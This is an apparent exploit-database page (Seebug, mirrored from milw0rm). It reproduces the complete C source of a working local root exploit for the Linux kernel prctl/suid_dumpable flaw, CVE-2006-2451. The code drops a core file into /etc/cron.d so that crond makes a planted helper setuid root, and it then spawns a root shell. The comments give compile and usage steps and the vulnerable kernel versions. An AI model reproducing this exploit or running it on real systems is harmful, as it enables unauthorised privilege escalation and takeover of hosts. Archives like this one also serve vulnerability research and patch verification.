Lucene search

K
seebugRootSSV:63704
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit (3)

2014-07-0100:00:00
Root
www.seebug.org
32

0.0004 Low

EPSS

Percentile

5.8%

No description provided by source.


                                                /*
 * $Id: raptor_prctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $
 *
 * raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability
 * Copyright (c) 2006 Marco Ivaldi &#60;[email protected]&#62;
 *
 * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
 * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
 * of service (disk consumption) and POSSIBILY (yeah, sure;) gain privileges 
 * via the PR_SET_DUMPABLE argument of the prctl function and a program that 
 * causes a core dump file to be created in a directory for which the user does 
 * not have permissions (CVE-2006-2451).
 *
 * Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
 * CAMPIONI DEL MONDO! (i was tempted to name this exploit &#34;pajolo.c&#34;;))
 *
 * Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
 *
 * NOTE. This exploit uses the Vixie&#39;s crontab /etc/cron.d attack vector: this
 * means that distributions that use a different configuration (namely Dillon&#39;s
 * crontab on Slackware Linux) can be vulnerable but not directly exploitable.
 *
 * Usage:
 * $ gcc raptor_prctl.c -o raptor_prctl -Wall
 * [exploit must be dinamically linked]
 * $ ./raptor_prctl
 * [...]
 * sh-3.00#
 *
 * Vulnerable platforms:
 * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
 */

#include &#60;stdio.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;signal.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;sys/prctl.h&#62;

#define INFO1	&#34;raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability&#34;
#define	INFO2	&#34;Copyright (c) 2006 Marco Ivaldi &#60;[email protected]&#62;&#34;

char payload[] = /* commands to be executed by privileged crond */
&#34;\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n&#34;;

char pwnage[] = /* build setuid() helper to circumvent bash checks */
&#34;echo \&#34;main(){setuid(0);setgid(0);system(\\\&#34;/bin/sh\\\&#34;);}\&#34; &#62; /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &&#62;/dev/null; rm -f /tmp/pwned.c&#34;;

int main(void)
{
	int 		pid, i;
	struct rlimit 	corelimit;
	struct stat	st;

	/* print exploit information */
	fprintf(stderr, &#34;%s\n%s\n\n&#34;, INFO1, INFO2);

	/* prepare the setuid() helper */
	system(pwnage);

	/* set core size to unlimited */
	corelimit.rlim_cur = RLIM_INFINITY;
	corelimit.rlim_max = RLIM_INFINITY;
	setrlimit(RLIMIT_CORE, &corelimit);

	/* let&#39;s do the PR_SET_DUMPABLE magic */
	if (!(pid = fork())) {
		chdir(&#34;/etc/cron.d&#34;);
		prctl(PR_SET_DUMPABLE, 2);
		sleep(666);
		exit(1);
	}
	kill(pid, SIGSEGV);

	/* did it work? */
	sleep(3);
	if (stat(&#34;/etc/cron.d/core&#34;, &st) &#60; 0) {
		fprintf(stderr, &#34;Error: Not vulnerable? See comments.\n&#34;);
		exit(1);
	}

	fprintf(stderr, &#34;Ready to uncork the champagne? &#34;);
	fprintf(stderr, &#34;Please wait a couple of minutes;)\n&#34;);

	/* wait for crond to execute our evil entry */
	for (i = 0; i &#60; 124; i += 2) {
		if (stat(&#34;/tmp/pwned&#34;, &st) &#60; 0) {
			fprintf(stderr, &#34;\nError: Check /tmp/pwned!\n&#34;);
			exit(1);
		}
		if (st.st_uid == 0)	
			break;
		fprintf(stderr, &#34;.&#34;);
		sleep(2);
	}

	/* timeout reached? */
	if (i &#62; 120) {
		fprintf(stderr, &#34;\nTimeout: Check /tmp/pwned!\n&#34;);
		exit(1);
	}

	/* total pwnage */
	fprintf(stderr, &#34;CAMPIONI DEL MONDO!\n\n&#34;);
	system(&#34;/tmp/pwned&#34;);
	exit(0);
}

// milw0rm.com [2006-07-13]